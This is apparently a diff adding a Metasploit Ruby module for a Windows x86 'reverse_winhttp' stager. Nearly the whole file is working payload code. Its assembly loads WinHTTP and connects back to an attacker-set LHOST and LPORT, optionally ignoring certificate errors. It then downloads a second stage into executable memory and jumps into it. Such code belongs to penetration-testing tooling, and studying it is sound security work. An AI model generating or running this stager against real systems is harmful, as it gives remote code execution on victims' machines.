|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +require 'msf/core' |
| 4 | +require 'msf/core/payload/windows/block_api' |
| 5 | +require 'msf/core/payload/windows/exitfunk' |
| 6 | +require 'msf/core/payload/windows/reverse_http' |
| 7 | + |
| 8 | +module Msf |
| 9 | + |
| 10 | + |
| 11 | +### |
| 12 | +# |
| 13 | +# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP |
| 14 | +# |
| 15 | +### |
| 16 | + |
| 17 | + |
| 18 | +module Payload::Windows::ReverseWinHttp |
| 19 | + |
| 20 | + include Msf::Payload::Windows::ReverseHttp |
| 21 | + |
| 22 | + # |
| 23 | + # Register reverse_winhttp specific options |
| 24 | + # |
| 25 | + def initialize(*args) |
| 26 | + super |
| 27 | + end |
| 28 | + |
| 29 | + # |
| 30 | + # Generate the first stage |
| 31 | + # |
| 32 | + def generate |
| 33 | + # Generate the simple version of this stager if we don't have enough space |
| 34 | + if self.available_space.nil? || required_space > self.available_space |
| 35 | + return generate_reverse_winhttp( |
| 36 | + ssl: false, |
| 37 | + host: datastore['LHOST'], |
| 38 | + port: datastore['LPORT'], |
| 39 | + url: generate_small_uri) |
| 40 | + end |
| 41 | + |
| 42 | + conf = { |
| 43 | + ssl: false, |
| 44 | + host: datastore['LHOST'], |
| 45 | + port: datastore['LPORT'], |
| 46 | + url: generate_uri, |
| 47 | + exitfunk: datastore['EXITFUNC'] |
| 48 | + } |
| 49 | + |
| 50 | + generate_reverse_winhttp(conf) |
| 51 | + end |
| 52 | + |
| 53 | + # |
| 54 | + # Generate and compile the stager |
| 55 | + # |
| 56 | + def generate_reverse_winhttp(opts={}) |
| 57 | + combined_asm = %Q^ |
| 58 | + cld ; Clear the direction flag. |
| 59 | + call start ; Call start, this pushes the address of 'api_call' onto the stack. |
| 60 | + #{asm_block_api} |
| 61 | + start: |
| 62 | + pop ebp |
| 63 | + #{asm_reverse_winhttp(opts)} |
| 64 | + ^ |
| 65 | + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string |
| 66 | + end |
| 67 | + |
| 68 | + # |
| 69 | + # Determine the maximum amount of space required for the features requested |
| 70 | + # |
| 71 | + def required_space |
| 72 | + # Start with our cached default generated size |
| 73 | + space = cached_size |
| 74 | + |
| 75 | + # Add 100 bytes for the encoder to have some room |
| 76 | + space += 100 |
| 77 | + |
| 78 | + # Make room for the maximum possible URL length |
| 79 | + space += 256 |
| 80 | + |
| 81 | + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) |
| 82 | + space += 31 |
| 83 | + |
| 84 | + # The final estimated size |
| 85 | + space |
| 86 | + end |
| 87 | + |
| 88 | + |
| 89 | + # |
| 90 | + # Convert a string into a NULL-terminated wchar byte array |
| 91 | + # |
| 92 | + def asm_generate_wchar_array(str) |
| 93 | + ( str.to_s + "\x00" ). |
| 94 | + unpack("C*"). |
| 95 | + pack("v*"). |
| 96 | + unpack("C*"). |
| 97 | + map{ |c| "0x%.2x" % c }. |
| 98 | + join(",") |
| 99 | + end |
| 100 | + |
| 101 | + # |
| 102 | + # Dynamic payload generation |
| 103 | + # |
| 104 | + def asm_reverse_winhttp(opts={}) |
| 105 | + |
| 106 | + |
| 107 | + # |
| 108 | + # options should contain: |
| 109 | + # ssl: (true|false) |
| 110 | + # url: "/url_to_request" |
| 111 | + # host: [hostname] |
| 112 | + # port: [port] |
| 113 | + # exitfunk: [process|thread|seh|sleep] |
| 114 | + # |
| 115 | + |
| 116 | + encoded_url = asm_generate_wchar_array(opts[:url]) |
| 117 | + encoded_host = asm_generate_wchar_array(opts[:host]) |
| 118 | + |
| 119 | + http_open_flags = 0 |
| 120 | + |
| 121 | + if opts[:ssl] |
| 122 | + # ;0x00800000 ; WINHTTP_FLAG_SECURE |
| 123 | + # ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE |
| 124 | + http_open_flags = (0x00800000 | 0x00000100) |
| 125 | + else |
| 126 | + # ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE |
| 127 | + http_open_flags = 0x00000100 |
| 128 | + end |
| 129 | + |
| 130 | + asm = %Q^ |
| 131 | + ; Input: EBP must be the address of 'api_call'. |
| 132 | + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) |
| 133 | +
|
| 134 | + load_winhttp: |
| 135 | + push 0x00707474 ; Push the string 'winhttp',0 |
| 136 | + push 0x686E6977 ; ... |
| 137 | + push esp ; Push a pointer to the "winhttp" string |
| 138 | + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) |
| 139 | + call ebp ; LoadLibraryA( "winhttp" ) |
| 140 | +
|
| 141 | + set_retry: |
| 142 | + push.i8 6 ; retry 6 times |
| 143 | + pop edi |
| 144 | + xor ebx, ebx |
| 145 | + mov ecx, edi |
| 146 | +
|
| 147 | + push_zeros: |
| 148 | + push ebx ; NULL values for the WinHttpOpen API parameters |
| 149 | + loop push_zeros |
| 150 | +
|
| 151 | + WinHttpOpen: |
| 152 | + ; Flags [5] |
| 153 | + ; ProxyBypass (NULL) [4] |
| 154 | + ; ProxyName (NULL) [3] |
| 155 | + ; AccessType (DEFAULT_PROXY= 0) [2] |
| 156 | + ; UserAgent (NULL) [1] |
| 157 | + push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) |
| 158 | + call ebp |
| 159 | +
|
| 160 | + WinHttpConnect: |
| 161 | + push ebx ; Reserved (NULL) [4] |
| 162 | + push.i32 #{opts[:port]}; Port [3] |
| 163 | + call got_server_uri ; Double call to get pointer for both server_uri and |
| 164 | + server_uri: ; server_host; server_uri is saved in EDI for later |
| 165 | + db #{encoded_url} |
| 166 | + got_server_host: |
| 167 | + push eax ; Session handle returned by WinHttpOpen [1] |
| 168 | + push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) |
| 169 | + call ebp |
| 170 | +
|
| 171 | + WinHttpOpenRequest: |
| 172 | +
|
| 173 | + push.i32 #{http_open_flags} |
| 174 | + push ebx ; AcceptTypes (NULL) [6] |
| 175 | + push ebx ; Referrer (NULL) [5] |
| 176 | + push ebx ; Version (NULL) [4] |
| 177 | + push edi ; ObjectName (URI) [3] |
| 178 | + push ebx ; Verb (GET method) (NULL) [2] |
| 179 | + push eax ; Connect handler returned by WinHttpConnect [1] |
| 180 | + push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) |
| 181 | + call ebp |
| 182 | + xchg esi, eax ; save HttpRequest handler in esi |
| 183 | + ^ |
| 184 | + |
| 185 | + # TODO |
| 186 | + if opts[:ssl] |
| 187 | + asm << %Q^ |
| 188 | + ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) ); |
| 189 | + set_security_options: |
| 190 | + push 0x00003380 |
| 191 | + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
| 192 | + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
| 193 | + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE |
| 194 | + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA |
| 195 | + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION |
| 196 | + mov eax, esp |
| 197 | + push.i8 4 ; sizeof(buffer) |
| 198 | + push eax ; &buffer |
| 199 | + push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) |
| 200 | + push esi ; hHttpRequest |
| 201 | + push 0xd83c501e ; hash( "winhttp.dll", "WinHttpSetOption" ) |
| 202 | + call ebp |
| 203 | + ^ |
| 204 | + end |
| 205 | + |
| 206 | + asm << %Q^ |
| 207 | + send_request: |
| 208 | +
|
| 209 | + WinHttpSendRequest: |
| 210 | + ; Context [7] |
| 211 | + ; TotalLength [6] |
| 212 | + push ebx ; OptionalLength (0) [5] |
| 213 | + push ebx ; Optional (NULL) [4] |
| 214 | + push ebx ; HeadersLength (0) [3] |
| 215 | + push ebx ; Headers (NULL) [2] |
| 216 | + push esi ; HttpRequest handle returned by WinHttpOpenRequest [1] |
| 217 | + push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) |
| 218 | + call ebp |
| 219 | + test eax,eax |
| 220 | + jnz receive_response ; if TRUE call WinHttpReceiveResponse API |
| 221 | +
|
| 222 | + try_it_again: |
| 223 | + dec edi |
| 224 | + jnz send_request |
| 225 | +
|
| 226 | + ; if we didn't allocate before running out of retries, fall through |
| 227 | + ^ |
| 228 | + |
| 229 | + if opts[:exitfunk] |
| 230 | + asm << %Q^ |
| 231 | + failure: |
| 232 | + call exitfunk |
| 233 | + ^ |
| 234 | + else |
| 235 | + asm << %Q^ |
| 236 | + failure: |
| 237 | + push 0x56A2B5F0 ; hardcoded to exitprocess for size |
| 238 | + call ebp |
| 239 | + ^ |
| 240 | + end |
| 241 | + |
| 242 | + asm << %Q^ |
| 243 | + receive_response: |
| 244 | + ; The API WinHttpReceiveResponse needs to be called |
| 245 | + ; first to get a valid handler for WinHttpReadData |
| 246 | + push ebx ; Reserved (NULL) [2] |
| 247 | + push esi ; Request handler returned by WinHttpSendRequest [1] |
| 248 | + push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) |
| 249 | + call ebp |
| 250 | + test eax,eax |
| 251 | + jz failure |
| 252 | + ^ |
| 253 | + |
| 254 | + asm << %Q^ |
| 255 | + allocate_memory: |
| 256 | + push.i8 0x40 ; PAGE_EXECUTE_READWRITE |
| 257 | + push 0x1000 ; MEM_COMMIT |
| 258 | + push 0x00400000 ; Stage allocation (4Mb ought to do us) |
| 259 | + push ebx ; NULL as we dont care where the allocation is |
| 260 | + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 261 | + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
| 262 | +
|
| 263 | + download_prep: |
| 264 | + xchg eax, ebx ; place the allocated base address in ebx |
| 265 | + push ebx ; store a copy of the stage base address on the stack |
| 266 | + push ebx ; temporary storage for bytes read count |
| 267 | + mov edi, esp ; &bytesRead |
| 268 | +
|
| 269 | + download_more: |
| 270 | + push edi ; NumberOfBytesRead (bytesRead) |
| 271 | + push 8192 ; NumberOfBytesToRead |
| 272 | + push ebx ; Buffer |
| 273 | + push esi ; Request handler returned by WinHttpReceiveResponse |
| 274 | + push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" ) |
| 275 | + call ebp |
| 276 | +
|
| 277 | + test eax,eax ; if download failed? (optional?) |
| 278 | + jz failure |
| 279 | +
|
| 280 | + mov eax, [edi] |
| 281 | + add ebx, eax ; buffer += bytes_received |
| 282 | +
|
| 283 | + test eax,eax ; optional? |
| 284 | + jnz download_more ; continue until it returns 0 |
| 285 | + pop eax ; clear the temporary storage |
| 286 | +
|
| 287 | + execute_stage: |
| 288 | + ret ; dive into the stored stage address |
| 289 | +
|
| 290 | + got_server_uri: |
| 291 | + pop edi |
| 292 | + call got_server_host ; put the server_host on the stack (WinHttpConnect API [2]) |
| 293 | +
|
| 294 | + server_host: |
| 295 | + db #{encoded_host} |
| 296 | + ^ |
| 297 | + |
| 298 | + if opts[:exitfunk] |
| 299 | + asm << asm_exitfunk(opts) |
| 300 | + end |
| 301 | + asm |
| 302 | + end |
| 303 | + |
| 304 | +end |
| 305 | + |
| 306 | +end |
| 307 | + |
0 commit comments